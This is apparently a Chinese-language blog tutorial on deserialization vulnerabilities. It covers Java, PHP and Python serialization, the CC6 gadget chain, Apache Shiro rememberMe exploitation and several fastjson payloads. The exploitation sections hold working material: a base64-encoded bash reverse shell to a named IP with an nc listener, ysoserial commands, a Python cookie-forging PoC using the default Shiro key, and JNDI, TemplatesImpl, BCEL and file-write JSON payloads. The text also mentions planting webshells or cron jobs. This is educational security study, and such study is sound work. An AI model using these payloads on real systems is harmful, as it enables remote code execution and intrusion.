反序列化漏洞学习

序列化(serialize)是指将对象转换成可传输、存储的字节流,反序列化则相反,是将字节流转换成对象。Java和PHP等面向对象的语言提供了默认的序列化和反序列化实现。这个默认序列化功能如果使用不当,则可能造成潜在的被攻击风险。

序列化与反序列化

为什么要有序列化?

序列化的本质是内存对象到数据流的一种转换,我们知道内存中的东西不具备持久性,但有些场景却需要将对象持久化保存或传输。例如缓存系统中存储了用户的 Session,如果缓存系统直接下线,带系统重启后用户就需要重新登录,为了使缓存系统内存中的 Session 对象一直有效,就需要有一种机制将对象从内存中保存入磁盘,并且待系统重启后还能将 Session 对象恢复到内存中,这个过程就是对象序列化与反序列化的过程,从而避免了用户会话的有效性受系统故障的影响。

Java的序列化和反序列化

在JDK中提供了类ObjectOutputStream用于将对象序列化成byte数组,提供了ObjectInputStream用于将byte数组反序列化为对象。所有实现了Serializable接口的类的实例都可以使用这两个默认工具类进行序列化和反序列化。下面是一个序列化和反序列化的例子。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import java.io.*;

public class JavaSerialize implements Serializable {
private String user;
private String pwd;

public static void main(String[] args) throws IOException, ClassNotFoundException {
// 构建一个可以被序列化的对象
JavaSerialize obj = new JavaSerialize();
obj.user = "luckyx";
obj.pwd = "password";

// 将对象序列化为字节流
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);

//System.out.println(baos);
FileWriter fileWriter = new FileWriter("./baos.txt");
fileWriter.write(String.valueOf(baos));
fileWriter.close();

// 将字节流反序列化为对象
byte[] bytes = baos.toByteArray();
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
JavaSerialize userObj = (JavaSerialize)ois.readObject();

// 原对象和反序列化出来的对象不是同一个对象,但内容相同
System.out.println(String.format("obj == userObj ? %B", obj == userObj));
System.out.println(String.format("userObj.user = %s, userObj.pwd = %s"
, userObj.user, userObj.pwd));
}
}

上述例子中,反序列化出的userObj为新的对象,其包含的属性值和原始对象obj完全一致。

Java序列化机制中,还允许开发人员自定义序列化和反序列化操作。例如,在上例中,我们希望生成的byte数组中不要存储明文密码,可以在序列化时对pwd属性进行base64处理,在反序列化时读pwd属性进行解码,示例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import java.io.*;
import java.util.Base64;

public class JavaSerialize implements Serializable {
private String user;
private String pwd;
/**
* 自定义序列化方法,将自定义内容写入序列化字节流中
*/
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException {
String origin = pwd;
Base64.Encoder encoder = Base64.getEncoder();
pwd = encoder.encodeToString(pwd.getBytes("UTF-8"));
s.defaultWriteObject();
pwd = origin;
}

/**
* 自定义反序列化方法,定义自己的字节流读取方式
*/
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
Base64.Decoder decoder = Base64.getDecoder();
pwd = new String(decoder.decode(pwd), "UTF-8");
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
// 构建一个可以被序列化的对象
JavaSerialize obj = new JavaSerialize();
obj.user = "luckyx";
obj.pwd = "password";

// 将对象序列化为字节流
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);

//System.out.println(baos);
FileWriter fileWriter = new FileWriter("./baos.txt");
fileWriter.write(String.valueOf(baos));
fileWriter.close();

// 将字节流反序列化为对象
byte[] bytes = baos.toByteArray();
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
JavaSerialize userObj = (JavaSerialize)ois.readObject();

// 原对象和反序列化出来的对象不是同一个对象,但内容相同
System.out.println(String.format("obj == userObj ? %B", obj == userObj));
System.out.println(String.format("userObj.user = %s, userObj.pwd = %s"
, userObj.user, userObj.pwd));
}
}

writeObject和readObject分别用来编写自定义的反序列化和序列化程序,其访问修饰符均为private,在执行序列化和反序列化操作时会自动调用这两个方法。上述例子中,序列化时,首先将pwd进行base64编码,再执行默认序列化操作,则序列化后存储在bytes中的密码是已经base64编码后的密码。在反序列化时,首先调用默认的反序列化方法,再将pwd进行base64解码。

PHP的序列化和反序列化

PHP 的所谓的序列化也是一个将各种类型的数据,压缩并按照一定格式存储的过程,所使用的函数是serialize(),一个例子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class phpSerialize
{
private $flag = 'Inactive';
protected $test = "test";

public function set_flag($flag)
{
$this->flag = $flag;
}
public function get_flag()
{
return $this->flag;
}
}

$object = new phpSerialize();
$object->set_flag('Active');
$data = serialize($object);
file_put_contents("serialize.txt", $data);
?>

序列化后输出文件内容如下:

1
O:12:"phpSerialize":2:{s:18:" phpSerialize flag";s:6:"Active";s:7:" * test";s:4:"test";}
  • O代表这是一个对象
  • 12代表对象名长度为12
  • “phpSerialize”代表对象名
  • 2代表对象有两个属性
  • s:18:” phpSerialize flag”;代表属性名,由于flag是私有的,因此序列化之后为:%00类名%00属性名
  • s:6:”Active”;为上一个属性名flag的属性值
  • s:7:” * test”;是test的属性名,我们可以看到protected修饰符修饰的属性序列化后为:%00*%00属性名

unserialize()反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
class phpSerialize
{
private $flag = 'Inactive';
protected $test = "test";

public function set_flag($flag)
{
$this->flag = $flag;
}
public function get_flag()
{
return $this->flag;
}
}

//$object = new phpSerialize();
//$object->set_flag('Active');
//$data = serialize($object);
//file_put_contents("serialize.txt", $data);
$data = file_get_contents("serialize.txt" );
$data = unserialize($data);
echo $data->get_flag();
?>

反序列化之后输出的flag的值就变成了Active。我们看到本来存储在文件中的一串字符,在 uiseralize() 的作用下还原成了对象,并且实现了属性和方法的调用。

此时如果我们修改serialize.txt的内容,会发生什么呢?

我们把s:6:"Active";更改成s:6:"Hacked";,结果就会输出了Hacked,是不是很神奇呢。

区别

PHP反序列化是开发者不能参与的,开发者调用serialize函数以后,序列化的数据就已经完成了,得到的是一个完整的对象,并不能在序列化流里新增某一个内容,如果想插入新的内容,只有将其保存在一个属性中。也就是说PHP的序列化、反序列化是一个纯内部的过程,而其_sleep、_wakeup魔术方法的目的就是在序列化、反序列化的前后执行一些操作。

Java反序列化的操作,很多是需要开发者深入参与的,可以发现大量的库会实现readObject、 writeObject方法
这和_sleep、 _wakeup很少使用是存在鲜明对比的。

Python反序列化和Java、php有个显著的区别,就是Python的反序列化过程实际上是在执行一个基于栈的虚拟机。我们可以栈上增、删对象,也可以执行一些指令,比如函数的执行等,甚至可以用这个虚拟机执行一个完整的应用程序。所以,Python的反序列化可以立即导致任意函数、命令执行漏洞,与需要gadget的php和java相比更加危险。

反序列化漏洞成因

JAVA反序列化漏洞

Java 序列化机制虽然有默认序列化机制,但也支持用户自定义的序列化与反序列化策略。例如对象的一些成员变量没必要序列化保存或传输,就可以不序列化,或者也可以对一些敏感字段进行处理等自定义对象序列化的行为,而自定义序列化规则的方式就是重写 writeObejct 与 readObject。当对象重写了 writeObejct 或 readObject方法时,Java 序列化与反序列化就会调用用户自定义的逻辑。

我们把上面的例子添加一句代码:

1
2
3
4
5
6
7
8
9
10
/**
* 自定义反序列化方法,定义自己的字节流读取方式
*/
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
Base64.Decoder decoder = Base64.getDecoder();
Runtime.getRuntime().exec("calc.exe"); //添加的一句执行弹出计算器
pwd = new String(decoder.decode(pwd), "UTF-8");
}

这个exec的内容如果是外部输入可以控制的,那么这里就会引发远程命令执行。当然,大多数开发人员不会写出这么离谱的代码,这只是一个最简单的示例,用来说明反序列化漏洞。

利用条件

反序列化对象重写了反序列化函数 readObject,并且 readObject 方法存在执行命令的机会。

举个例子CC6链

InvokerTransformer类中天然的有一个调用invoke方法的transform方法,并且是可控的,可以用来执行命令,ChainedTransformer类调用了这个类的transform方法,然后TiedMapEntry类中的getValue()方法调用了LazyMapget()方法,然后hashCode()方法中调用getValue()方法,然而HashMap类的put方法会自动调用hash方法,到此我们就可以反向地构造出EXP:

1
2
3
4
5
6
7
8
9
xxx.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
Runtime.exec()

Java反序列化漏洞实例–shiro反序列化漏洞

shiro

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。

shiro指纹特征

在请求包的Cookie中为 rememberMe字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,说明目标有使用Shiro框架,可以进一步测试。

漏洞成因

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

漏洞复现

攻击者监听某一端口:

nc -lvvp 8886

编码交互式反弹shell:base64内容为bash -i >& /dev/tcp/202.120.1.65/8886 0>&1

1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yMDIuMTIwLjEuNjUvODg4NiAwPiYx}|{base64,-d}|{bash,-i}

进入GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.用于生成利用不安全 Java 对象反序列化的有效payload。

通过ysoserial中JRMP监听模块,监听6666端口并执行反弹shell命令

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8yMDIuMTIwLjEuNjUvODg4NiAwPiYx}|{base64,-d}|{bash,-i}"

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# python2
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):

popen = subprocess.Popen(['java', '-jar', 'ysoserial-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") # key
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext


if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print "rememberMe={0}".format(payload.decode())

将生成的POC替换到Cookie中rememberMe即可。

Java反序列化漏洞实例–fastjson反序列化漏洞

fastjson

fastjson是java的一个库,可以将java对象转化为json格式的字符串,也可以将json格式的字符串转化为java对象

提供了 toJSONString() 和 parseObject() 方法来将 Java 对象与 JSON 相互转换。调用toJSONString方 法即可将对象转换成 JSON 字符串,parseObject 方法则反过来将 JSON 字符串转换成对象。

漏洞成因

fastjson在1.2.24及之前没有任何防御策略,且autotype默认开启

fastjson反序列化一个类的时候,他会调用成员变量的set方法,所以首先会调用一个setdataSourceName的方法,其次会调用setautoCommit的方法,

setdataSourceName:

就是赋值,把rmi那个值赋给数据源

setAutoCommit:

setAutoCommit中调用了connect( )方法,connect方法会调用InitialContext.lookup(this.getDataSourceName())方法,而this.getDataSourceName()参数就是payload中dataSourceName对应的JNDI名称。

1
{  "@type":"com.sun.JdbcRowSetImpl",  "dataSourceName":"ldap://localhost:1389/Exploit",  "autoCommit":true}

因此在反序列时,payload中的dataSourceName和autoCommit通过setDataSourceName和setAutoCommit进行赋值,而在setAutoCommit中会调用connect方法,connect方法中又调用了lookup()方法,lookup在传入的参数就是JNDI名称,因此导致可以利用rmi/ldap方法进行远程调用。

fastjson在反序列化json字符时,可以通过autoType来指定反序列化的类,并调用相关方法的set方法(这里调用了dataSourceName和autoCommit方法,反序列化后自动会调用setdataSourceName和setautoCommit方法并把参数传入),而setautoCommit方法中调用了connect方法,connect方法中调用了lookup方法,可以通过JNDI去访问LDAP、RMI等服务,又因为ldap存在命名引用,如果不存在指定文件,就会去指定的url下载到本地,如果下载的.class文件包含无参构造函数和静态代码块就会被自动执行,从而造成任意代码执行。

高版本默认关闭autoCommit,这时候需要利用白名单中可以生成实例的类去进行利用,比如Throwable和AutoCloseable,刚好为expectClass的子类,那么接下来就能生成typename的对象,从而达成绕过autotype的目的。

和log4j JNDI注入漏洞极其相似,都是因为lookup方法没有进行限制导致的漏洞,但前期利用的方式缺不同,fastjson是通过autoType来反序列化JdbcRowSetlmpl类,通过setautoCommit方法调用到lookup方法,而log4j是因为日志调用方法中调用了lookup方法。

不出网的情况

参考BCEL ClassLoader去哪了 | 离别歌 (leavesongs.com)

TemplatesImpl利用链 版本 1.2.24
条件:

  1. 服务端使用parseObject()时,必须使用如下格式才能触发漏洞: JSON.parseObject(input, Object.class, Feature.SupportNonPublicField);

  2. 服务端使用parse()时,需要 JSON.parse(text1,Feature.SupportNonPublicField)
    这是因为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl需要赋值的一些属性为private 属性,要满足private属性的数据。

1
2
3
4
5
6
7
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADQA...CJAAk="],
"_name": "s",
"_tfactory": {},
"_outputProperties": {},
}

@type——指定的解析类,即com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,Fastjson根据指定类去反序列化得到该类的实例,在默认情况下只会去反序列化public修饰的属性,在PoC中,_bytecodes和_name都是私有属性,所以想要反序列化这两个属性,需要在parseObject()时设置Feature.SupportNonPublicField;
_bytecodes——是我们把恶意类的.class文件二进制格式进行Base64编码后得到的字符串;
_outputProperties——漏洞利用链的关键会调用其参数的getOutputProperties()方法,进而导致命令执行;
_tfactory:{},_name——为了满足漏洞点触发之前不报异常及退出,我们还需要满足 _name 不为 null ,_tfactory 不为 null;

BasicDataSource利用链

BasicDataSourcetoString()方法会遍历这个类的所有getter并执行,于是通过getConnection()->createDataSource()->createConnectionFactory()的调用关系,调用到了createConnectionFactory方法,在createConnectionFactory方法中,调用了Class.forName(driverClassName, true, driverClassLoader),driverClassName、driverClassLoader都是外部可控的,第二个参数为true时可以直接加载static{}块中的代码,因此我们可以将ClassLoader设置为com.sun.org.apache.bcel.internal.util.ClassLoader,使其加载字节码并执行命令:

1
2
3
4
5
6
7
8
9
10
11
{
{
"aaa": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "bbb"
}

commons-io写文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"x":{
"@type":"java.lang.AutoCloseable",
"@type":"sun.rmi.server.MarshalOutputStream",
"out":{
"@type":"java.util.zip.InflaterOutputStream",
"out":{
"@type":"java.io.FileOutputStream",
"file":"/tmp/dest.txt",
"append":false
},
"infl":{
"input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
},
"bufLen":1048576
},
"protocolVersion":1
}
}

知道web路径可以写webshell,权限更高可以写定时任务、免密钥


反序列化漏洞学习
https://chujian521.github.io/blog/2021/05/21/反序列化漏洞学习/
作者
Encounter
发布于
2021年5月21日
许可协议